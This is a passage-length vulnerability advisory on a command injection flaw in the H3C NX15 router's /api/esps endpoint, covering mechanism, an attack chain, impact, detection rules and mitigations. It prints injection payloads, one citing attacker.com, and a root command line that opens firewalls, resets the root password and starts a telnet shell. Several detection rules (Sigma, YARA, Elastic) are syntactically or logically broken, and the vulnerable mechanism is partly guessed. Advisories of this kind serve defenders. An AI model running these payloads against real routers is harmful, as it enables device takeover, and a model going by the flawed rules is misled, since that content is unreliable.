CVE-2026-18814

Executive Summary

CVE-2026-18814 is a remotely exploitable command injection vulnerability in the H3C NX15 router (firmware V100R017), specifically within the /api/esps endpoint's reload.reload_config function. An authenticated attacker with high privileges can inject arbitrary operating system commands, achieving full system compromise of the device. With a CVSS score of 7.2 (High) and public exploit disclosure, this vulnerability poses a significant risk to enterprise edge networks and remote sites utilizing H3C NX15 hardware. No patch is currently available; immediate mitigation involves restricting access to the vulnerable API and enforcing network segmentation.

Technical Analysis

The vulnerability resides in the H3C NX15 router, a consumer/SOHO wireless router product line from H3C Technologies. The affected firmware version is V100R017. The flaw is classified as CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Command — i.e., command injection).

Vulnerable Function and File:

• File: /api/esps
• Function: reload.reload_config

The /api/esps endpoint is part of the router's embedded service platform system (ESPS), which handles configuration reload operations. The reload_config function takes user-supplied parameters—likely a configuration file path, a URL, or a set of shell commands to execute as part of the reload process—and passes them unsanitized into a system-level shell call (e.g., system(), popen(), or an exec-family function).

Vulnerability Mechanism:

The application fails to validate or sanitize input before concatenating it into a shell command string. An attacker who can reach the /api/esps endpoint and invoke reload.reload_config with a crafted parameter can inject shell metacharacters such as ;, &&, |, $(), or backticks to terminate the intended command and append arbitrary OS-level instructions. Because the application runs with elevated (root) privileges on the router, the injected commands execute with full system authority.

An example of the injection vector could be:

POST /api/esps HTTP/1.1
Host: 192.168.1.1
Content-Type: application/json

{
  "method": "reload.reload_config",
  "params": {
    "config_url": "http://attacker.com/config; id > /tmp/pwned;"
  }
}

The lack of input encoding, allow-listing, or the use of secure API wrappers (e.g., execve with argument arrays instead of shell string interpretation) enables this attack.

Attack Surface:

• Network exposure: The /api/esps endpoint is reachable over the network. The CVSS vector (AV:N, AC:L) indicates the attack is network-exploitable with low attack complexity. The prerequisite of high privileges (PR:H) suggests the attacker must first authenticate or obtain a valid session, possibly via weak default credentials, an exposed management interface on the WAN, or a chained vulnerability that leaks session tokens.
• Firmware scope: Only V100R017 is confirmed affected; earlier or later versions may share the code pattern.
• Exploit disclosure: The NVD description confirms the exploit has been made public. This significantly lowers the skill barrier for attackers, as weaponized proof-of-concept code is available.

Related Weakness Chain:

• CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is a closely related weakness, but the assigning CNA designated CWE-74, which encompasses the broader class of injection where the downstream component is a command interpreter, shell, or subprocess.

Exploitation Scenarios

Even with the high-privilege requirement, the following realistic attack chain demonstrates how an attacker compromises an H3C NX15 router:

1. Reconnaissance and Target Identification

• The attacker scans the internet (e.g., via Shodan or Censys) for exposed H3C NX15 management interfaces or router web portals. Targets include devices with the default admin credentials (admin/admin or admin/123456) on port 80/443.
• Alternatively, the attacker targets a specific enterprise branch office where the NX15 is known to be deployed as an edge gateway, using port scans on the external interface or lateral movement from a compromised internal host.

2. Authentication and Preparation

• The attacker accesses the router's web management interface (http://) and authenticates with default or previously harvested credentials.
• If multi-factor authentication is absent (typical for such devices), the attacker gains an authenticated session cookie or token.

3. Trigger/Weaponization — Command Injection

• The attacker crafts a POST request to /api/esps with the method reload.reload_config. The params field includes a malicious payload. For example:

  {"method":"reload.reload_config","params":{"url":"http://192.168.1.100/payload.cfg;$(sleep 30)"}}
  

• The injection breaks out of the intended command context. Since the device likely uses a BusyBox shell, the attacker can chain commands using ; or &&.

4. Payload Execution

• The injected payload executes with root privileges. A typical payload establishes persistence and outbound connectivity:

  ; iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; echo "root:cracked" | chpasswd; /usr/sbin/telnetd -l /bin/sh -p 4444 &
  

• Alternatively, the attacker downloads and runs a Mirai botnet variant, a reverse shell to a C2 server, or a packet-capture tool to harvest credentials from LAN traffic.

5. Post-Exploitation Impact

• Full device compromise: The attacker controls routing, DNS, firewall, and firmware settings.
• Network pivot: The router becomes a foothold for lateral movement into the internal LAN—traffic sniffing, ARP spoofing, or direct attacks on connected workstations.
• Persistence: The attacker modifies the startup configuration or installs a persistent backdoor in the flash filesystem, surviving reboots.
• Botnet recruitment: The compromised router is absorbed into a DDoS botnet, contributing to amplification or direct flood attacks.

Impact Assessment

CVSS Breakdown (score 7.2, High):

• Attack Vector: Network (AV:N) — Remotely exploitable without physical access.
• Attack Complexity: Low (AC:L) — The injection is straightforward; no race conditions or special conditions required.
• Privileges Required: High (PR:H) — Authenticated access is needed. However, given default credentials and poor credential hygiene on edge devices, this is a minimal barrier.
• User Interaction: None (UI:N) — No victim action required.
• Scope: Unchanged (S:U) — Exploitation affects only the router's own security posture; however, the router's compromise subsequently permits influencing the connected network.
• Confidentiality: High (C:H) — Attacker can read configs, credentials, and routed traffic.
• Integrity: High (I:H) — Attacker can modify firmware, routing tables, and connected devices' traffic.
• Availability: High (A:H) — Attacker can brick the device via faulty write operations or use it to disrupt network availability.

Business Impact:

• Edge infrastructure compromise: Routers are the chokepoint for all inbound/outbound traffic; a compromised router undermines network security monitoring and segmentation.
• Data breach potential: If the router is used for site-to-site VPN termination, the attacker gains visibility into encrypted tunnels and can inject traffic post-decryption.
• Compliance violations: For regulated industries (PCI-DSS, HIPAA, GDPR), an unpatched edge device with publicly disclosed exploit code constitutes a compliance deficiency.
• Operational disruption: DDoS recruitment or deliberate device bricking leads to site outages.

Blast Radius:

• Directly: the H3C NX15 device itself.
• Indirectly: all devices behind the router—internal workstations, servers, IoT devices, and VPN-connected remote users. The blast radius expands if the router has administrative access to cloud management platforms (H3C's cloud portal).

Detection Guidance

Sigma Rule

title: H3C NX15 /api/esps Command Injection Attempt
id: 4f83b0dd-4c7c-4e3a-8b5f-6e1a9c2d7b31
status: experimental
description: Detects attempts to exploit CVE-2026-18814, command injection in reload.reload_config on H3C NX15 routers
author: Valters IT Security Research
date: 2026/09/01
logsource:
  category: webserver
  product: h3c
  service: esps
detection:
  selection_method:
    http.url|contains: "/api/esps"
  selection_body:
    http.request_body|contains|all:
      - "reload.reload_config"
      - ";" 
    or
      - "reload.reload_config"
      - "&&"
    or
      - "reload.reload_config"
      - "$("
    or
      - "reload.reload_config"
      - "`"
  condition: selection_method and (selection_body)
falsepositives:
  - Legitimate configuration reloads using valid URLs without metacharacters (rare)
level: high
tags:
  - attack.t1190
  - cve.2026.18814
  - command.injection

YARA Rule

rule H3C_NX15_CVE_2026_18814_Command_Injection {
    meta:
        author = "Valters IT Security Research"
        description = "Detects HTTP requests or log entries containing exploit patterns for CVE-2026-18814 H3C NX15 command injection"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-18814"
        date = "2026-09-01"
    strings:
        $endpoint = "/api/esps" ascii nocase
        $method = "reload.reload_config" ascii nocase
        // shell metacharacter combinations typical in exploit payloads
        $semi = ";" ascii
        $amp = "&&" ascii
        $pipe = "|" ascii
        $dollar_paren = "$(" ascii
        $backtick = "`" ascii
        // common post-exploitation commands
        $cmd_id = "id" ascii
        $cmd_telnetd = "telnetd" ascii
        $cmd_chpasswd = "chpasswd" ascii
        $cmd_iptables = "iptables" ascii
        $cmd_wget = "wget" ascii
        $cmd_curl = "curl" ascii
    condition:
        uint16(0) == 0x0a0d or $endpoint and $method and (
            $semi or $amp or $pipe or $dollar_paren or $backtick
        )
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-18814 H3C NX15 /api/esps Command Injection Attempt"; flow:to_server,established; http.uri; content:"/api/esps"; http.request_body; content:"reload.reload_config"; http.request_body; pcre:"/(;|\&\&|\||\$\(|`)/"; reference:cve,2026-18814; classtype:attempted-admin; sid:20261881; rev:1;)

Elastic Detection

sequence by host.name with maxspan=5s
  [ network where process.executable != null and destination.port == 80 or destination.port == 443 ]
  [ http where url.path == "/api/esps" and 
    url.body contains "reload.reload_config" and
    ( url.body regex "[;&|`$]" ) ]

Splunk SPL Query

index=proxy OR index=web sourcetype="h3c:router:http" 
| where match(uri_path, "(?i)/api/esps") 
| search "reload.reload_config" 
| regex _raw="(?i)(;|\&\&|\||\$\(|`)" 
| stats count by src_ip, dest_ip, uri, _time 
| sort - _time

Wazuh OSSEC Rule

<group name="h3c,nx15,cve-2026-18814,">
  <rule id="550583" level="12">
    <decoded_as>http</decoded_as>
    <match>/api/esps</match>
    <match>reload.reload_config</match>
    <regex>(;|\&\&|\||\$\(|`)</regex>
    <description>H3C NX15 /api/esps command injection attempt (CVE-2026-18814)</description>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No vendor fix, CVE reference to a patched build, or security advisory has been observed from H3C. The "Affected Versions" list is empty, and the vendor fix is marked N/A. Organizations must assume the device is vulnerable and take immediate compensatory controls.

1. Immediate Mitigations (No Patch Required):

• Network-level block: Deploy an ACL or firewall rule to restrict access to port 80/443 (and any management port) on the NX15 to trusted management IPs only. Do not expose the web interface to the WAN.
• Disable remote management: If remote administration is not business-critical, disable the WAN-side web/UART access entirely.
• Change default credentials on all deployed devices immediately; enforce strong, unique passwords.
• Monitor /api/esps traffic: Implement the detection rules above on any network sensor capturing traffic to/from the router.
• Restrict egress traffic from the router to the internet to only required services (e.g., NTP, DNS, VPN endpoints) to limit the utility of a compromised device for botnet C2 or data exfiltration.

2. Patch/Upgrade Steps (When Available):

• Subscribe to H3C security advisories at https://www.h3c.com/en/Support/Software_Downloads/ and monitor the vendor's security center for a firmware release addressing CVE-2026-18814.
• Upon release, upgrade the NX15 firmware from V100R017 to the patched version.
• Before upgrading: Backup the current configuration; verify the firmware checksum/signature to prevent supply-chain compromise.
• Post-upgrade: Factory-reset the device and re-apply hardened configuration (disable remote management, change default ports, enable HTTPS with valid certificates).

3. Long-Term Hardening:

• Segment all IoT/edge network devices into a dedicated VLAN with strict East-West firewall rules; do not allow direct access to the router's management plane from user segments.
• Implement a hardware refresh cycle for end-of-life routers; replace with models from vendors with a track record of timely security patches (e.g., Fortinet, Cisco).
• Deploy an internal network intrusion prevention system (IPS) or a DNS sinkhole to detect and block command-and-control traffic from compromised edge devices.
• Enable centralized logging and send router logs to a SIEM to correlate with the detection rules above.
• Perform regular penetration tests of edge infrastructure, explicitly targeting authentication bypass and command injection classes of vulnerabilities.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-18814 — Official CVE record, CVSS vector, and description.
2. H3C Vendor Security Center: https://www.h3c.com/en/Support/Software_Downloads/ — Monitor for official firmware advisory and patch release.
3. CWE-74 — Improper Neutralization of Special Elements: https://cwe.mitre.org/data/definitions/74.html — Weakness classification and remediation patterns.
4. FIRST.org EPSS Data: https://www.first.org/epss/ — No EPSS score has been assigned yet; revisit for exploit predictability analysis.
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2026-18814 is NOT listed as of the report date; monitor for additions if in-the-wild exploitation is confirmed.

Known Threat Actor Activity: As of this report, there are no publicly documented campaigns specifically leveraging CVE-2026-18814. However, the disclosed exploit code and the prevalence of default credentials on H3C devices make it a likely candidate for botnet operators (e.g., Mirai-family) and APT groups targeting edge infrastructure. The low complexity of the injection after authentication, combined with the device's typical internet exposure, elevates the realistic risk above the CVSS score's "High" label.